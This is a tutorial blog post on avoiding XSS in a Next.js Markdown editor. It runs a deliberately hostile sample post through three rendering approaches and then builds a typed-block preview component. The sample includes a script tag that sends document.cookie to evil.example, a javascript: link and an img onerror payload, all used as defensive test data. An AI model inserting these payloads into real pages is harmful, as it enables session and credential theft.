Safe Markdown in Next.js: build a blog editor without XSS

Safe Markdown in Next.js: compare three ways to handle a post that contains a script tag, a javascript: link and an image with onerror, then build the editor.

A safe Markdown editor for Next.js means never putting uncontrolled HTML into the page. There are two ways: filter the HTML with a sanitizing library, or turn Markdown into typed blocks and build them with React, so no HTML string ever appears. This blog uses the second way. Let's compare them.

Why does a one-author blog still need to worry about this?

In the previous post, blog-mini (the small blog project this series builds step by step) became fast thanks to ISR while staying editable. But the author is still writing posts by typing straight into the posts table in the Supabase dashboard. That's tolerable for two posts and not for twenty posts of several thousand words each. The blog needs an editor: Markdown on one side, a preview on the other, then saving into the body_markdown column.

You might think: I'm the only one writing, so why would I inject malicious code into my own posts? True, nobody does it on purpose. But two things make me worry anyway.

The first is pasting from elsewhere. You copy a passage from a web page, a Word document or an AI tool's answer, and it carries something your eyes can't see. The second is that the preview box sits in the admin area, where you're logged in. If code can run there, it runs with the author's permissions, and from the post on Supabase Auth you know the author is the only role that can write to the database. A piece of code that runs on this page is a piece of code that can edit every post.

So I want to test it properly. I create a post "pasted from somewhere else" with three dangerous things in it, and run it through three different ways of handling it.

What does the sample post contain, and what does the naive way produce?

Here's the sample. To the eye it's a post about Git, with an ordinary paragraph, a link to documentation and two odd things:

src/hostile-post.ts
// A post "pasted from somewhere else" that contains malicious code: a script tag, a javascript: link, and an image with onerror.
export const HOSTILE_POST = `## Using Git

This is an ordinary paragraph, with **bold text** and \`code\`.

<script>fetch("https://evil.example/steal?c=" + document.cookie)</script>

See [the docs](javascript:alert('xss')) for more, or the [home page](https://example.com/git).

<img src="x" onerror="alert('xss')">`;

The three dangerous things are a <script> tag that reads the cookie and sends it away, a link using the javascript: protocol that runs code when clicked, and an <img> tag with onerror that runs code when the image fails to load. I put them in separate paragraphs so you can see how each one fares in each approach.

The first approach, which most tutorials point you to, is to install a Markdown library and put its HTML into the page. I use marked:

src/01-naive.ts
// The naive way: Markdown to HTML with marked, then straight into the page.
import { marked } from "marked";

import { HOSTILE_POST } from "./hostile-post.ts";

console.log(marked.parse(HOSTILE_POST, { async: false }));

To run it, create a new folder with a package.json containing "type": "module", then install the libraries the whole post uses:

Install the libraries
npm install --save-exact marked@18.2.0 sanitize-html@2.18.1 react@19.3.1 react-dom@19.3.1

Add a tsconfig.json whose compilerOptions contains just the line "jsx": "react-jsx", so the .tsx files below can run. I run everything with npx tsx, so Node.js 18 or later is enough.

npx tsx src/01-naive.ts
<h2>Using Git</h2>
<p>This is an ordinary paragraph, with <strong>bold text</strong> and <code>code</code>.</p>
<script>fetch("https://evil.example/steal?c=" + document.cookie)</script><p>See <a href="javascript:alert(&#39;xss&#39;)">the docs</a> for more, or the <a href="https://example.com/git">home page</a>.</p>
<img src="x" onerror="alert('xss')">

All three dangerous things are still there: the script tag, the javascript: link and the img tag with onerror. That's not a fault in marked. The library's README says plainly that it doesn't sanitize its HTML output, and recommends running the result through a sanitizing library such as DOMPurify. It does its job: Markdown allows raw HTML, so it passes raw HTML through to the output.

If you put this string into the page with React's dangerouslySetInnerHTML (a name that already tells you how dangerous it is), the <script> tag won't run. Browsers don't execute scripts inserted through innerHTML, as MDN states. But the same MDN page warns that an image with onerror can still run code. And a javascript: link runs when someone clicks it. I didn't run these in a browser while writing this post, because the point is to show you the HTML the page receives, and those two spots are already enough reason not to trust this approach.

Is filtering the HTML with a sanitizer enough?

The second approach keeps marked but passes the HTML output through a filter that uses an allow-list: only the tags and attributes you list are kept. I use sanitize-html:

src/02-sanitize-html.ts
// The second way: still marked, but the HTML output is filtered with sanitize-html using an allow-list.
import { marked } from "marked";
import sanitizeHtml from "sanitize-html";

import { HOSTILE_POST } from "./hostile-post.ts";

const html = marked.parse(HOSTILE_POST, { async: false });
console.log(
  sanitizeHtml(html, {
    allowedTags: ["h2", "h3", "p", "ul", "ol", "li", "strong", "code", "pre", "a", "blockquote"],
    allowedAttributes: { a: ["href"] },
    allowedSchemes: ["http", "https"],
  }),
);
npx tsx src/02-sanitize-html.ts
<h2>Using Git</h2>
<p>This is an ordinary paragraph, with <strong>bold text</strong> and <code>code</code>.</p>
<p>See <a>the docs</a> for more, or the <a href="https://example.com/git">home page</a>.</p>

The result is much better. The script and img tags are gone, and the javascript: link has lost its href, so clicking it does nothing. The real https link survives. With a simple allow-list, this is a reasonable choice and the one many projects use.

But I have two worries about choosing it for this blog. First, the safety of the page lives in a configuration list. The day you add img or iframe to the list to allow pictures or videos, you have to think again about every attribute that comes with them. Second, the filter has to understand HTML the way browsers do, and HTML has many places where the reading is ambiguous. Libraries like DOMPurify or sanitize-html are reviewed carefully and deserve trust, but they're still one more layer whose version you have to keep up to date.

The third way: never produce HTML at all

The approach this blog uses goes the other way: don't try to clean HTML, don't let HTML appear. Markdown is turned into a list of typed blocks (headings, paragraphs, lists, code blocks), and each block is built into a React element. The author's text is always inside an element, as a "child", and React escapes characters like < and & on its own. No string is interpreted as HTML, so there's nothing to filter.

The first step turns Markdown into blocks. This is the file markdown-safe.ts, a shortened version of src/lib/markdown.ts and src/lib/inline.ts in this blog's own repository (the real one also handles quotes, tip boxes and images):

src/markdown-safe.ts
// A very small Markdown dialect, turned into typed "blocks" instead of HTML.
// Text it doesn't recognize becomes a plain paragraph. Raw HTML is never understood as HTML.
export type Block =
  | { kind: "heading"; level: 2 | 3; text: string }
  | { kind: "paragraph"; text: string }
  | { kind: "list"; items: string[] }
  | { kind: "code"; language: string; code: string };

export function parseMarkdown(source: string): Block[] {
  const lines = source.replace(/\r\n?/g, "\n").split("\n");
  const blocks: Block[] = [];
  let i = 0;
  while (i < lines.length) {
    const line = lines[i].trim();
    const heading = /^(#{2,3})\s+(.+)$/.exec(line);
    const fence = /^```(\w*)$/.exec(line);
    if (!line) {
      i++;
    } else if (fence) {
      const code: string[] = [];
      for (i++; i < lines.length && lines[i].trim() !== "```"; i++) code.push(lines[i]);
      i++; // the closing ``` line
      blocks.push({ kind: "code", language: fence[1] || "text", code: code.join("\n") });
    } else if (heading) {
      blocks.push({ kind: "heading", level: heading[1].length as 2 | 3, text: heading[2].trim() });
      i++;
    } else if (/^[-*]\s+/.test(line)) {
      const items: string[] = [];
      for (; i < lines.length && /^[-*]\s+/.test(lines[i].trim()); i++) items.push(lines[i].trim().replace(/^[-*]\s+/, ""));
      blocks.push({ kind: "list", items });
    } else {
      const text: string[] = [];
      for (; i < lines.length && lines[i].trim() && !/^(#{2,3}\s|```|[-*]\s)/.test(lines[i].trim()); i++) text.push(lines[i].trim());
      blocks.push({ kind: "paragraph", text: text.join(" ") });
    }
  }
  return blocks;
}

export type Piece = { kind: "text" | "bold" | "code"; text: string } | { kind: "link"; text: string; href: string };

// Only http(s) links or paths inside the site are accepted. "javascript:", "data:" and "//host" are treated as plain text.
export function isSafeHref(href: string): boolean {
  return /^https?:\/\//.test(href) || (href.startsWith("/") && !href.startsWith("//"));
}

export function splitPieces(text: string): Piece[] {
  const pieces: Piece[] = [];
  let last = 0;
  for (const m of text.matchAll(/`([^`]+)`|\*\*([^*]+)\*\*|\[([^\]]+)\]\(([^)\s]+)\)/g)) {
    if (m[3] !== undefined && !isSafeHref(m[4])) continue; // unsafe link: leave it as plain text
    if (m.index > last) pieces.push({ kind: "text", text: text.slice(last, m.index) });
    if (m[1] !== undefined) pieces.push({ kind: "code", text: m[1] });
    else if (m[2] !== undefined) pieces.push({ kind: "bold", text: m[2] });
    else pieces.push({ kind: "link", text: m[3], href: m[4] });
    last = m.index + m[0].length;
  }
  if (last < text.length) pieces.push({ kind: "text", text: text.slice(last) });
  return pieces;
}

The function parseMarkdown reads line by line. A ## heading, a code fence or a - at the start of a line creates the matching block, and everything else is gathered into a paragraph. A line like <script>…</script> matches no pattern, so it becomes a paragraph with the text <script> inside. The function splitPieces breaks the text of a paragraph into small pieces: plain text, bold, code and links. The most important part is isSafeHref. It accepts only addresses starting with http:// or https://, or a path inside the site (/..., but not //..., which is an address on another host). A javascript: or data: link doesn't pass, so it's left as plain text.

Step two builds the blocks into React elements:

src/preview.tsx
import type { Block } from "./markdown-safe.ts";
import { splitPieces } from "./markdown-safe.ts";

// Each block becomes a React element. The author's text is always a "child" of an element, so React escapes special characters itself.
function InlineText({ text }: { text: string }) {
  return (
    <>
      {splitPieces(text).map((piece, i) => {
        switch (piece.kind) {
          case "bold":
            return <strong key={i}>{piece.text}</strong>;
          case "code":
            return <code key={i}>{piece.text}</code>;
          case "link":
            return (
              <a href={piece.href} key={i} rel="noopener noreferrer">
                {piece.text}
              </a>
            );
          default:
            return piece.text;
        }
      })}
    </>
  );
}

export function Preview({ blocks }: { blocks: Block[] }) {
  return (
    <>
      {blocks.map((block, i) => {
        switch (block.kind) {
          case "heading":
            return block.level === 2 ? <h2 key={i}><InlineText text={block.text} /></h2> : <h3 key={i}><InlineText text={block.text} /></h3>;
          case "list":
            return <ul key={i}>{block.items.map((item, j) => <li key={j}><InlineText text={item} /></li>)}</ul>;
          case "code":
            return <pre key={i}><code>{block.code}</code></pre>;
          default:
            return <p key={i}><InlineText text={block.text} /></p>;
        }
      })}
    </>
  );
}

Finally, a file that runs it and prints the blocks, then the HTML React builds:

src/03-safe-blocks.tsx
// The third way: Markdown to typed blocks, then to React elements. No step ever produces an HTML string.
import { renderToStaticMarkup } from "react-dom/server";

import { HOSTILE_POST } from "./hostile-post.ts";
import { parseMarkdown } from "./markdown-safe.ts";
import { Preview } from "./preview.tsx";

const blocks = parseMarkdown(HOSTILE_POST);
for (const block of blocks) console.log(JSON.stringify(block));
console.log("\n" + renderToStaticMarkup(<Preview blocks={blocks} />));
npx tsx src/03-safe-blocks.tsx
{"kind":"heading","level":2,"text":"Using Git"}
{"kind":"paragraph","text":"This is an ordinary paragraph, with **bold text** and `code`."}
{"kind":"paragraph","text":"<script>fetch(\"https://evil.example/steal?c=\" + document.cookie)</script>"}
{"kind":"paragraph","text":"See [the docs](javascript:alert('xss')) for more, or the [home page](https://example.com/git)."}
{"kind":"paragraph","text":"<img src=\"x\" onerror=\"alert('xss')\">"}

<h2>Using Git</h2><p>This is an ordinary paragraph, with <strong>bold text</strong> and <code>code</code>.</p><p>&lt;script&gt;fetch(&quot;https://evil.example/steal?c=&quot; + document.cookie)&lt;/script&gt;</p><p>See [the docs](javascript:alert(&#x27;xss&#x27;)) for more, or the <a href="https://example.com/git" rel="noopener noreferrer">home page</a>.</p><p>&lt;img src=&quot;x&quot; onerror=&quot;alert(&#x27;xss&#x27;)&quot;&gt;</p>

Look at the HTML at the end. The script tag became &lt;script&gt;…, which is displayed text, not a tag. The img tag too. The javascript: link stays as the text [the docs](javascript:…), not a link. Only the real https link became an <a> tag. The reader (or you, in the preview box) will see those strange passages displayed as text and know right away that something is off in the post.

This blog also has a test for exactly that spot. The file src/lib/inline.test.ts tries three addresses, javascript:alert(1), //evil.example and data:text/html,x, and requires all three to come out as plain text. A safety rule without a test will sooner or later get edited by someone who doesn't know why it's there.

Putting it together as an editor

With parseMarkdown and Preview in hand, the editor is just a textarea and a preview area sharing those two functions. In the Next.js App Router, a component that needs useState must be a Client Component, so I put "use client" at the top of the file:

src/editor.tsx
"use client";

// The post editor: type Markdown on the left, preview on the right. Both live in one component and share the two functions above.
import { useState } from "react";

import { parseMarkdown } from "./markdown-safe.ts";
import { Preview } from "./preview.tsx";

export function Editor({ initial = "" }: { initial?: string }) {
  const [source, setSource] = useState(initial);
  return (
    <div style={{ display: "grid", gap: 16, gridTemplateColumns: "1fr 1fr" }}>
      <textarea aria-label="Post content (Markdown)" onChange={(e) => setSource(e.target.value)} rows={16} value={source} />
      <article aria-label="Preview">
        <Preview blocks={parseMarkdown(source)} />
      </article>
    </div>
  );
}

Every keystroke changes source and parseMarkdown runs again. For a post of a few thousand words that's very fast. The two aria-label attributes tell screen reader users which area is the input and which is the preview. I rendered this component once with renderToString using the sample post, and the preview area came out exactly as in the previous step. But I haven't run it in a browser or inside a real Next.js app while writing this post, so the interactive part (the preview updating as you type) is something you'll be the first to try.

One last important point: a safe preview doesn't make the published page safe by itself. The page that shows the post must use the same step that turns blocks into elements. If the reading page takes another route, for example putting HTML in with dangerouslySetInnerHTML, then all the effort in the editor is pointless. So there should be exactly one path from body_markdown to the page, and the preview uses that same path.

Which approach should you choose?

In my view it goes like this. If you need to let authors write arbitrary HTML, or you need a full Markdown dialect with tables and footnotes, use a Markdown library plus a sanitizer with a tight allow-list. It's the practical way, but you take on the responsibility of keeping that list right.

If your blog only needs headings, paragraphs, lists, code blocks, a few links and images, then a small dialect plus typed blocks is well worth it. There's little code, each part can be tested, and you don't have to trust a filter. The price is that you write the parser yourself, so whatever full Markdown can do that you didn't write simply won't exist. For this blog I find that price acceptable, because I deliberately keep the dialect small.

Where will the images go?

The editor can now write and preview, but it only handles text. A real post has screenshots, and screenshots are often heavy. A 14 MB photo uploaded straight to free storage with a 500 MB limit will fill the space after about thirty of them. How images get into the blog, and how to compress them before saving, is the job of later posts.

You can follow the whole series at Building a blog with Next.js + Supabase. If you're preparing for interviews, questions about Next.js, React and security are in the interview question bank.

Get the next post by email.

One email a week, only when there is something worth reading. No spam.